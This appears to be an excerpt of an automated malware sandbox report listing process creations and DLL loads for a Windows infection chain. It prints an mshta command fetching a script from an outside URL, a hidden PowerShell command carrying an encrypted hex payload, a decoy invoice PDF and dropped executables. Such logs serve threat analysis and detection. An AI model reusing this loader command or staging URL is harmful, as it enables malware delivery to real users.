'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Crea
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,11053159209440612448,1965292179888694610,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\JIKJCBEX.exe "C:\Users\user\AppData\Roaming\JIKJCBEX.exe"
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Process created: C:\Users\user\AppData\Local\Temp\pyexec.exe "C:\Users\user\AppData\Local\Temp\pyexec.exe"
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Process created: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Crea	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\JIKJCBEX.exe "C:\Users\user\AppData\Roaming\JIKJCBEX.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,11053159209440612448,1965292179888694610,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Process created: C:\Users\user\AppData\Local\Temp\pyexec.exe "C:\Users\user\AppData\Local\Temp\pyexec.exe"
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Process created: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe

Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
